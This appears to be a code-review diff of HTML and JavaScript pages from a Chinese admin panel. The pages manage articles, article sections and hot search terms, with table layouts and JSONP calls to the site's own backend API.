| | | { title: "佣金比例", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "订单描述", width: "0.5rem", orderUp: "", orderDown: "" },
|
| | | { title: "支付时间", width: "1rem", orderUp: "", orderDown: "" },
|
| | | { title: "结算时间", width: "1rem", orderUp: "", orderDown: "" },
|
| | | { title: "创建时间", width: "1rem", orderUp: "", orderDown: "" },
|
| | | { title: "更新时间", width: "1rem", orderUp: "", orderDown: "" },
|
| | | ] |
| | | }); |
| | | |
| | | // 工具栏 |
| | | adminDom.table.tools({ |
| | | show: false, |
| | | }); |
| | | |
| | | // ----------------------------------------------------- 初始操作 |
| | | // 模拟搜索点击 |
| | | vm_table.search(); |
| | | } |
| | | }); |
| | | |
| | | </script> |
New file |
| | |
| | | <!DOCTYPE html>
|
| | | <html>
|
| | | <head>
|
| | | <meta charset="utf-8">
|
| | | <meta charset="utf-8">
|
| | | <title>数据统计</title>
|
| | | <meta name="renderer" content="webkit">
|
| | | <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
| | | <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css" />
|
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../js/jquery.min.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script type="text/javascript">
|
| | | doui.importLoad({
|
| | | importArray: [
|
| | | // 雷打不动
|
| | | //getHostPath() + "js/jquery.min.js",
|
| | | getHostPath() + "js/vue.min.js",
|
| | | // 字体图标
|
| | | getHostPath() + "fontAdmin/iconfont.css",
|
| | | getHostPath() + "font/iconfont.css",
|
| | | // // dom模板
|
| | | getHostPath() + "css/admin-all.css",
|
| | | getHostPath() + "js/admin-creat.js",
|
| | | ],
|
| | | });
|
| | | </script>
|
| | |
|
| | | <style type="text/css">
|
| | |
|
| | | </style>
|
| | |
|
| | | </head>
|
| | | <body>
|
| | | <div class="layui-tab layui-tab-brief" lay-filter="tabBrief">
|
| | | <ul class="layui-tab-title">
|
| | | <li class="layui-this" lay-id="t1">文章内容管理</li>
|
| | | <li lay-id="t2">文章板块管理</li>
|
| | | <li lay-id="t3">热门搜索关键词</li>
|
| | | </ul>
|
| | | <div class="layui-tab-content" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <div class="layui-tab-item layui-show" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t1" align="center" width="100%" height="100%" datasrc="article_content.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | <div class="layui-tab-item layui-show" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t2" align="center" width="100%" height="100%" datasrc="article_module.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | <div class="layui-tab-item layui-show" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t3" align="center" width="100%" height="100%" datasrc="article_search_terms.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | </div>
|
| | | </div>
|
| | | </body>
|
| | | </html>
|
| | | <script type="text/javascript">
|
| | | layui.use('element', function() {
|
| | | var element = layui.element;
|
| | | element.on('tab(tabBrief)', function() {
|
| | | for (var i = 0; i < $('iframe').length; i++) {
|
| | | var id = this.getAttribute('lay-id');
|
| | | if ($('iframe').eq(i).attr('tab-id') == id) {
|
| | | var src = $('iframe').eq(i).attr("src");
|
| | | if (src == null || src == '' || src.length == 0) {
|
| | | $('iframe').eq(i).attr("src", $('iframe').eq(i).attr("datasrc"));
|
| | | }
|
| | | }
|
| | | };
|
| | | });
|
| | | element.tabChange('tabBrief', "t1");
|
| | | });
|
| | | |
| | | </script> |
File was renamed from childPath/editor/dongTai/article.html |
| | |
| | | <meta charset="utf-8"> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>学院文章管理</title> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/>
|
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" /> |
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | ], |
| | | }); |
| | | </script>
|
| | | |
| | | <style>
|
| | | textarea {
|
| | | height: 0.1rem;
|
| | | }
|
| | | </style>
|
| | | |
| | | </head> |
| | | <body class="fontPC"> |
| | | <div class="winSizeBox"> |
| | |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载列表" }); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/article/query", |
| | |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "状态", key: mo[i].state, value: mo[i].state },
|
| | | { title: "图片", key: mo[i].picture, value: mo[i].picture, dataType: "img" }, |
| | | { title: "标题", key: mo[i].title, value: mo[i].title },
|
| | | { title: "状态", key: mo[i].state, value: mo[i].state, dataType: 'btnSwitch', click: "switchState('" + mo[i].id + "')"},
|
| | | { title: "开始时间", key: mo[i].startTimeChar, value: mo[i].startTimeChar },
|
| | | { title: "结束时间", key: mo[i].endTimeChar, value: mo[i].endTimeChar },
|
| | | { title: "内容", key: mo[i].content, value: mo[i].content },
|
| | | { title: "链接", key: mo[i].articlelink, value: mo[i].articlelink },
|
| | | { title: "标签", key: mo[i].tags, value: mo[i].tags }, |
| | |
| | | { title: "权重", key: mo[i].weight, value: mo[i].weight }, |
| | | { title: "浏览数(虚拟)", key: mo[i].readNum, value: mo[i].readNum },
|
| | | { title: "浏览数(真实)", key: mo[i].readNumReal, value: mo[i].readNumReal },
|
| | | { title: "开始时间", key: mo[i].startTimeChar, value: mo[i].startTimeChar },
|
| | | { title: "结束时间", key: mo[i].endTimeChar, value: mo[i].endTimeChar },
|
| | | { title: "ID", key: mo[i].id, value: mo[i].id },
|
| | | ] |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 1) { |
| | | thatTr.td[0].value = "已启用"; thatTr.td[0]["class"] = "font-green"; |
| | | } else if (thatTr.td[0].key == 0) { |
| | | thatTr.td[0].value = "已停用"; thatTr.td[0]["class"] = "font-red"; |
| | | }
|
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "状态", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | | { key: 0, value: "禁用" }, |
| | | { key: 1, value: "启用"} , |
| | | ], |
| | | }, |
| | | },
|
| | | { title: "图片", width: "0.7rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "file",
|
| | | },
|
| | | }, |
| | | { title: "标题", width: "0.8rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text", placeholder: "-- 必填 --" }, |
| | | edit: { type: "textarea", placeholder: "-- 必填 --" }, |
| | | },
|
| | | |
| | | { title: "状态", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | },
|
| | | { title: "起始时间", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | },
|
| | | {title: "结束时间", width: "0.6rem",orderUp: "",orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | }, |
| | | { title: "内容", width: "0.8rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text", placeholder: "-- 必填 --" },
|
| | | edit: { type: "textarea", placeholder: "-- 必填 --" },
|
| | | }, |
| | | { title: "链接", width: "0.8rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text", placeholder: "-- 必填 --" },
|
| | |
| | | edit: { type: "text" ,placeholder: "标签1 标签2 空格隔开"},
|
| | | },
|
| | | { title: "标签颜色", width: "0.7rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text", placeholder: "标签1颜色 标签2颜色 空格隔开一对一应标签" },
|
| | | edit: { type: "text", placeholder: "标签1 标签2颜色 空格隔开一对一应标签" },
|
| | | },
|
| | | { title: "权重", width: "0.5rem", orderUp: "", orderDown: "",
|
| | | { title: "权重", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text"},
|
| | | },
|
| | | { title: "浏览数(虚拟)", width: "0.5rem", orderUp: "", orderDown: "",
|
| | | { title: "浏览数(虚拟)", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: { type: "text", placeholder: "-- 必填 --" },
|
| | | }, |
| | | { title: "浏览数(真实)", width: "0.5rem", orderUp: "", orderDown: "",}, |
| | | { title: "起始时间", width: "0.8rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | },
|
| | | {title: "结束时间", width: "0.8rem",orderUp: "",orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | },
|
| | | { title: "浏览数(真实)", width: "0.4rem", orderUp: "", orderDown: "",}, |
| | | { title: "ID", width: "0.8rem", orderUp: "", orderDown: "",}, |
| | | ] |
| | | }); |
| | |
| | | { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showLoading("正在新建"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | // 请求数据 |
| | | var mydata = { |
| | | state: item[0].key, |
| | | title: item[2].key, |
| | | content: item[3].key, |
| | | articlelink: item[4].key, |
| | | tags: item[5].key,
|
| | | tagsColour: item[6].key,
|
| | | weight: item[7].key,
|
| | | readNum: item[8].key,
|
| | | startTimeChar: item[10].key,
|
| | | endTimeChar: item[11].key, |
| | | var mydata = {
|
| | | title: item[1].key, |
| | | state: item[2].key, |
| | | startTimeChar: item[3].key,
|
| | | endTimeChar: item[4].key, |
| | | content: item[5].key, |
| | | articlelink: item[6].key, |
| | | tags: item[7].key,
|
| | | tagsColour: item[8].key,
|
| | | weight: item[9].key,
|
| | | readNum: item[10].key,
|
| | | };
|
| | | // 如果修改了图片 |
| | | if (item[1].change == true) { mydata.file = item[1].key; } |
| | | if (item[0].change == true) { mydata.file = item[0].key; } |
| | | // 信息上传 |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/article/save", |
| | | data: mydata, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("新建成功"); adminDom.editTan.remove(); vm_table.search(); } |
| | | } |
| | |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { zu_id.push(mo[i][12].key); } |
| | | // 发起请求 |
| | | doui.showLoading("正在删除"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/article/delete", |
| | | data: { idArray: zu_id }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast(res.msg); } |
| | | else { doui.showToast("删除成功"); vm_table.search(); } |
| | | } |
| | |
| | | { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showLoading("正在修改"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | // 请求数据 |
| | | var mydata = {
|
| | | state: item[0].key,
|
| | | title: item[2].key, |
| | | content: item[3].key, |
| | | articlelink: item[4].key, |
| | | tags: item[5].key,
|
| | | tagsColour: item[6].key,
|
| | | weight: item[7].key,
|
| | | readNum: item[8].key,
|
| | | startTimeChar: item[10].key,
|
| | | endTimeChar: item[11].key,
|
| | | title: item[1].key,
|
| | | state: item[2].key, |
| | | startTimeChar: item[3].key,
|
| | | endTimeChar: item[4].key,
|
| | | content: item[5].key, |
| | | articlelink: item[6].key, |
| | | tags: item[7].key,
|
| | | tagsColour: item[8].key,
|
| | | weight: item[9].key,
|
| | | readNum: item[10].key,
|
| | | id: item[12].key, // ID |
| | | };
|
| | | // 如果修改了图片 |
| | | if (item[1].change == true) { mydata.file = item[1].key; } |
| | | if (item[0].change == true) { mydata.file = item[0].key; } |
| | | // 信息上传 |
| | | doui.upload({
|
| | | url: gethttp() + "/admin/new/api/v1/article/save",
|
| | | data: mydata,
|
| | | success: function (res)
|
| | | {
|
| | | doui.hideLoading();
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { doui.showToast("修改成功"); adminDom.editTan.remove(); vm_table.search(); }
|
| | | }
|
| | |
| | | } |
| | | }); |
| | |
|
| | | |
| | | // ----------------------------------------------------- 初始操作 |
| | | // 模拟搜索点击 |
| | | vm_table.search(); |
| | | } |
| | | }); |
| | | |
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/article/switchState",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | } |
| | | </script> |
New file |
| | |
| | | <!DOCTYPE html>
|
| | | <html>
|
| | | <head>
|
| | | <meta charset="utf-8">
|
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
|
| | | <title>文章板块管理</title>
|
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css" />
|
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | |
|
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../js/versionControl.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script type="text/javascript">
|
| | | doui.importLoad({
|
| | | importArray: [
|
| | | // 雷打不动
|
| | | getHostPath() + "js/jquery.min.js",
|
| | | getHostPath() + "js/vue.min.js",
|
| | | // 字体图标
|
| | | getHostPath() + "fontAdmin/iconfont.css",
|
| | | getHostPath() + "font/iconfont.css",
|
| | | // dom模板
|
| | | getHostPath() + "css/admin-all.css",
|
| | | getHostPath() + "js/admin-creat.js",
|
| | | ],
|
| | | });
|
| | | </script>
|
| | | </head>
|
| | | <body class="fontPC">
|
| | | <div class="winSizeBox">
|
| | |
|
| | | <!-- =============================================================== 搜索筛选(顶部) -->
|
| | | <div id="thisHeader" style="width:7.5rem;"></div>
|
| | |
|
| | | <!-- =============================================================== 表格 -->
|
| | | <div id="thisTable" class="admin-main-overHeader"></div>
|
| | |
|
| | | <!-- =============================================================== 图片更换 -->
|
| | | <div id="admin-img-tan" class="layer-dark fboxCol Xcenter Ycenter displayNone">
|
| | | <div class="admin-tan-box">
|
| | | <!-- 关闭按钮 -->
|
| | | <div class="admin-btn-arcS admin-tan-close font14" @click="closeClick()"><i class="fi fi-no font-white"></i></div>
|
| | | <!-- 标签设置标题 -->
|
| | | <div style="margin-top:10px; margin-bottom:20px;" class="fboxRow Xcenter Ycenter">
|
| | | <div class="font20 font-blue">商品图片更换</div>
|
| | | </div>
|
| | | <!-- 滚动框 -->
|
| | | <div class="flex1 scroll-y border-1px" style="width:3.5rem;">
|
| | | <div style="width:100%; height:auto;" class="fboxWrap Xstart Ystart">
|
| | |
|
| | | <!--这是一个标签的模版-->
|
| | | <div v-for="(item,index) in list" class="fboxRow Xcenter Ycenter admin-margin border-round border-5px" :style="sys.pictUrl==item?'border-color:coral;':'border-color:white;'">
|
| | | <!--标签图标-->
|
| | | <img class="admin-imgL border-round cursor-pointer" :src="item" @click="action_click(item)" />
|
| | | </div>
|
| | |
|
| | | </div>
|
| | | </div>
|
| | | <!-- 提交按钮 -->
|
| | | <div style="margin-top:20px; margin-bottom:10px;" class="fboxRow Xcenter Ycenter">
|
| | | <div class="admin-btn-roundM bg-green click-scale" @click="subClick()">确定提交</div>
|
| | | </div>
|
| | | </div>
|
| | | </div>
|
| | |
|
| | | <!-- =============================================================== 标签设置 -->
|
| | | <div id="admin-label-tan" class="layer-dark fboxCol Xcenter Ycenter displayNone">
|
| | | <div class="admin-tan-box">
|
| | | <!-- 关闭按钮 -->
|
| | | <div class="admin-btn-arcS admin-tan-close font14" @click="closeClick()"><i class="fi fi-no font-white"></i></div>
|
| | | <!-- 标签设置标题 -->
|
| | | <div style="margin-top:10px; margin-bottom:20px;" class="fboxRow Xcenter Ycenter">
|
| | | <div class="font20 font-blue">标签设置</div>
|
| | | </div>
|
| | | <!-- 滚动框 -->
|
| | | <div class="flex1 scroll-y border-1px" style="width:2rem;">
|
| | | <div style="width:100%; height:auto;" class="fboxWrap Xstart Ystart">
|
| | |
|
| | | <!--这是一个标签的模版-->
|
| | | <div v-for="(item,index) in thereData.list" class="fboxRow Xcenter Ycenter bg-yellow border-round" style="padding:10px; margin:5px;">
|
| | | <!--标签名称-->
|
| | | <div class="font-white">{{item.name}}</div>
|
| | | <!--删除按钮-->
|
| | | <div class="font-red cursor-pointer admin-marginLeft"><i class="fi fi-no" v-on:click="thereData.action_del(index)"></i></div>
|
| | | </div>
|
| | |
|
| | | <!--新添加按钮-->
|
| | | <div class="fboxRow Xcenter Ycenter bg-green border-round cursor-pointer" style="min-width:50px; padding:10px; margin:5px;"
|
| | | v-on:click="thereData.action_add()">
|
| | | <div class="font-white"><i class="fi fi-plus"></i></div>
|
| | | </div>
|
| | |
|
| | | </div>
|
| | | </div>
|
| | | <!-- 提交按钮 -->
|
| | | <div style="margin-top:20px; margin-bottom:10px;" class="fboxRow Xcenter Ycenter">
|
| | | <div class="admin-btn-roundM bg-green click-scale" @click="subClick()">确定提交</div>
|
| | | </div>
|
| | |
|
| | | <!-- 全部标签弹框 -->
|
| | | <div v-if="all.show" class="admin-tan-box" style="position:absolute; top:0; left:110%;">
|
| | | <!-- 关闭按钮 -->
|
| | | <div class="admin-btn-arcS admin-tan-close font14" @click="all.action_del()"><i class="fi fi-no font-white"></i></div>
|
| | | <!-- 输入搜索 -->
|
| | | <div style="margin-top:10px; margin-bottom:20px;" class="fboxRow Xcenter Ycenter">
|
| | | <div class="inputShell admin-opt-input"><input type="text" placeholder="标签名称" v-model="all.key" /></div>
|
| | | <div class="admin-btn-roundM bg-blue admin-marginLeft" @click="all.page=1; all.list=[]; all.request()">搜索</div>
|
| | | </div>
|
| | | <!-- 滚动框 -->
|
| | | <div class="flex1 scroll-y border-1px" style="width:2rem;">
|
| | | <div style="width:100%; height:auto;" class="fboxWrap Xstart Ystart">
|
| | |
|
| | | <!--这是一个标签的模版-->
|
| | | <div v-for="(item,index) in all.list" class="fboxRow Xcenter Ycenter border-round cursor-pointer" :class="item.check==true?'bg-yellow':'bg-gray'"
|
| | | style="padding:10px; margin:5px;" @click="all.action_click(item)">
|
| | | <!--标签名称-->
|
| | | <div class="font-white">{{item.name}}</div>
|
| | | </div>
|
| | |
|
| | | </div>
|
| | | </div>
|
| | | <!-- 提交按钮 -->
|
| | | <div style="margin-top:20px; margin-bottom:10px;" class="fboxRow Xcenter Ycenter">
|
| | | <div class="admin-btn-roundM bg-green click-scale" @click="all.action_left()">
|
| | | <div><i class="fi fi-left-long"></i></div>
|
| | | <div class="admin-marginLeft">添加</div>
|
| | | </div>
|
| | | </div>
|
| | | </div>
|
| | | </div>
|
| | | </div>
|
| | | </div>
|
| | | </body>
|
| | | </html>
|
| | |
|
| | | <script>
|
| | | </script>
|
| | |
|
| | | <script type="text/javascript">
|
| | | // ==================================================================================== 页面数据
|
| | | // 模块内容id
|
| | | var layoutId = 28;
|
| | | function getVersions(id) {
|
| | | // 平台版本获取
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/getVersions",
|
| | | data: {
|
| | | id: id
|
| | | },
|
| | | async: false,
|
| | | success: function(res) {
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | versionControl.setVersions(id, res.data, function(ids) {
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/setVersions",
|
| | | data: {
|
| | | id: id,
|
| | | versions: JSON.stringify(ids)
|
| | | },
|
| | | async: false,
|
| | | success: function(res) {
|
| | | if (res.code == 0) {
|
| | | layer.msg("设置成功");
|
| | | } else {
|
| | | layer.msg(res.msg);
|
| | | }
|
| | | }
|
| | | });
|
| | | });
|
| | | }
|
| | | }
|
| | | });
|
| | | }
|
| | | // doui准备完毕
|
| | | doui.onReady({
|
| | | success: function() {
|
| | |
|
| | | // ----------------------------------------------------- 顶部
|
| | | // 生成顶部筛选项dom
|
| | | adminDom.header.creat({
|
| | | el: "#thisHeader"
|
| | | });
|
| | | |
| | | // 输入搜索
|
| | | adminDom.header.select({
|
| | | show: true,
|
| | | list: [{
|
| | | key: 120,
|
| | | value: "所有"
|
| | | }, {
|
| | | key: 0,
|
| | | value: "通用"
|
| | | }, {
|
| | | key: 2,
|
| | | value: "男"
|
| | | }, {
|
| | | key: 1,
|
| | | value: "女"
|
| | | }]
|
| | | });
|
| | | adminDom.header.input({
|
| | | placeholder: "名称",
|
| | | });
|
| | |
|
| | | // 筛选项
|
| | | adminDom.header.screen({
|
| | | show: false,
|
| | | });
|
| | |
|
| | |
|
| | |
|
| | |
|
| | | var androidVersions = {};
|
| | | var iosVersions = {};
|
| | | // ----------------------------------------------------- 表格
|
| | | // 表格dom创建
|
| | | adminDom.table.creat({
|
| | | el: "#thisTable",
|
| | | // 搜索触发
|
| | | touchSearch: function(optC) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | var data = {
|
| | | pageIndex: optC.table.page, // 页码
|
| | | pageSize: optC.table.pageSize, // 每页数量
|
| | | key: optC.input[0].result, // 搜索关键字
|
| | | cardId: layoutId, // 外层id
|
| | | sex: $("select").eq(0).val() == undefined ? 120 : $("select").eq(0).val()
|
| | | };
|
| | |
|
| | | var platform = versionControl.getPlatform();
|
| | | var version = versionControl.getVersion();
|
| | | if (platform != null)
|
| | | data.platform = platform;
|
| | | if (version != null)
|
| | | data.version = version;
|
| | |
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/specialcard/querySpecial",
|
| | | data: data,
|
| | | success: function(res) {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast({
|
| | | content: res.msg
|
| | | });
|
| | | } else {
|
| | | // 申明 表格内容数据
|
| | | var mo_tr = []; // tr组
|
| | | for (var i = 0, mo = res.data.result_list; i < mo.length; i++) {
|
| | | // 当前行
|
| | | var thatTr = {
|
| | | check: false,
|
| | | td: [
|
| | | {
|
| | | title: "图片",
|
| | | key: mo[i].picture,
|
| | | value: mo[i].picture,
|
| | | dataType: "img"
|
| | | },
|
| | | {
|
| | | title: "副图片",
|
| | | key: mo[i].subPicture,
|
| | | value: mo[i].subPicture,
|
| | | dataType: "img"
|
| | | },
|
| | | {
|
| | | title: "装饰图片",
|
| | | key: mo[i].icon,
|
| | | value: mo[i].icon,
|
| | | dataType: "img"
|
| | | },
|
| | | {
|
| | | title: "名称",
|
| | | key: mo[i].name,
|
| | | value: mo[i].name
|
| | | },
|
| | | {
|
| | | title: "查询版本",
|
| | | key: mo[i].id,
|
| | | value: "查询版本",
|
| | | click: "getVersions('" + mo[i].id + "')",
|
| | | dataType: "btn"
|
| | | },
|
| | | {
|
| | | title: "启用状态",
|
| | | key: mo[i].state,
|
| | | value: mo[i].state,
|
| | | dataType: 'btnSwitch',
|
| | | click: "switchState(" + mo[i].id + ")"
|
| | | },
|
| | | {
|
| | | title: "起始时间",
|
| | | key: mo[i].startTime_str,
|
| | | value: mo[i].startTime_str
|
| | | },
|
| | | {
|
| | | title: "结束时间",
|
| | | key: mo[i].endTime_str,
|
| | | value: mo[i].endTime_str
|
| | | },
|
| | | {
|
| | | title: "性别",
|
| | | key: mo[i].sex,
|
| | | value: mo[i].sex
|
| | | },
|
| | | {
|
| | | title: "跳转方式",
|
| | | key: mo[i].jumpDetail.type,
|
| | | value: mo[i].jumpDetail.name
|
| | | },
|
| | | {
|
| | | title: "跳转参数",
|
| | | key: mo[i].params,
|
| | | value: mo[i].params,
|
| | | "class": "font-gray"
|
| | | },
|
| | | {
|
| | | title: "跳转需要登录",
|
| | | key: mo[i].jumpLogin,
|
| | | value: mo[i].jumpLogin ? "需要" : "不需要"
|
| | | },
|
| | | {
|
| | | title: "备注",
|
| | | key: mo[i].remark,
|
| | | value: mo[i].remark,
|
| | | "class": "font-gray"
|
| | | },
|
| | | {
|
| | | title: "ID",
|
| | | key: mo[i].id,
|
| | | value: mo[i].id
|
| | | }
|
| | | ],
|
| | | };
|
| | | |
| | | // 图片分析
|
| | | if (!thatTr.td[0].key || thatTr.td[2].key == "") {
|
| | | thatTr.td[0].value = "未设置";
|
| | | thatTr.td[0]["class"] = "font-gray";
|
| | | thatTr.td[0]["dataType"] = "";
|
| | | }
|
| | | // 副图片分析
|
| | | if (!thatTr.td[1].key || thatTr.td[1].key == "") {
|
| | | thatTr.td[1].value = "未设置";
|
| | | thatTr.td[1]["class"] = "font-gray";
|
| | | thatTr.td[1]["dataType"] = "";
|
| | | }
|
| | | // 装饰图片分析
|
| | | if (!thatTr.td[2].key || thatTr.td[2].key == "") {
|
| | | thatTr.td[2].value = "未设置";
|
| | | thatTr.td[2]["class"] = "font-gray";
|
| | | thatTr.td[2]["dataType"] = "";
|
| | | }
|
| | | |
| | | //性别分析
|
| | | var index_sex = 8;
|
| | | if (thatTr.td[index_sex].key == 0) {
|
| | | thatTr.td[index_sex].value = "通用";
|
| | | } else if (thatTr.td[index_sex].key == 1) {
|
| | | thatTr.td[index_sex].value = "女";
|
| | | } else if (thatTr.td[index_sex].key == 2) {
|
| | | thatTr.td[index_sex].value = "男";
|
| | | } else if (thatTr.td[index_sex].key == 120) {
|
| | | thatTr.td[index_sex].value = "所有";
|
| | | } else if (thatTr.td[index_sex].key == 12) {
|
| | | thatTr.td[index_sex].value = "男+女";
|
| | | } else if (thatTr.td[index_sex].key == 10) {
|
| | | thatTr.td[index_sex].value = "通用+女";
|
| | | } else if (thatTr.td[index_sex].key == 20) {
|
| | | thatTr.td[index_sex].value = "通用+男";
|
| | | }
|
| | |
|
| | | // 跳转参数
|
| | | if (typeof(thatTr.td[10].key) == "object") {
|
| | | thatTr.td[10].value = JSON.stringify(thatTr.td[10].key);
|
| | | thatTr.td[10].key = JSON.stringify(thatTr.td[10].key);
|
| | | }
|
| | |
|
| | |
|
| | | if (thatTr.td[11].key == true) {
|
| | | thatTr.td[11].value = "需要";
|
| | | } else {
|
| | | thatTr.td[11].value = "不需要";
|
| | | }
|
| | |
|
| | | // 将当前行放入tr组
|
| | | mo_tr.push(thatTr);
|
| | | }
|
| | | // 更新表格的数据
|
| | | adminDom.table.opt({
|
| | | pageMax: res.data.pe.totalPage
|
| | | }); // 最大页码
|
| | | adminDom.table.tbody({
|
| | | tr: mo_tr
|
| | | }); // 内容数据
|
| | | }
|
| | | }
|
| | | });
|
| | | },
|
| | | });
|
| | | // 表格设置
|
| | | adminDom.table.opt({
|
| | | pageSize: 20,
|
| | | });
|
| | | // 表格头排
|
| | | adminDom.table.thead({
|
| | | th: [
|
| | | {
|
| | | title: "图片",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "file",
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "副图片",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "file",
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "装饰图片",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "file",
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "名称",
|
| | | width: "0.7rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "text",
|
| | | placeholder: '如:9.9包邮',
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "版本选择",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
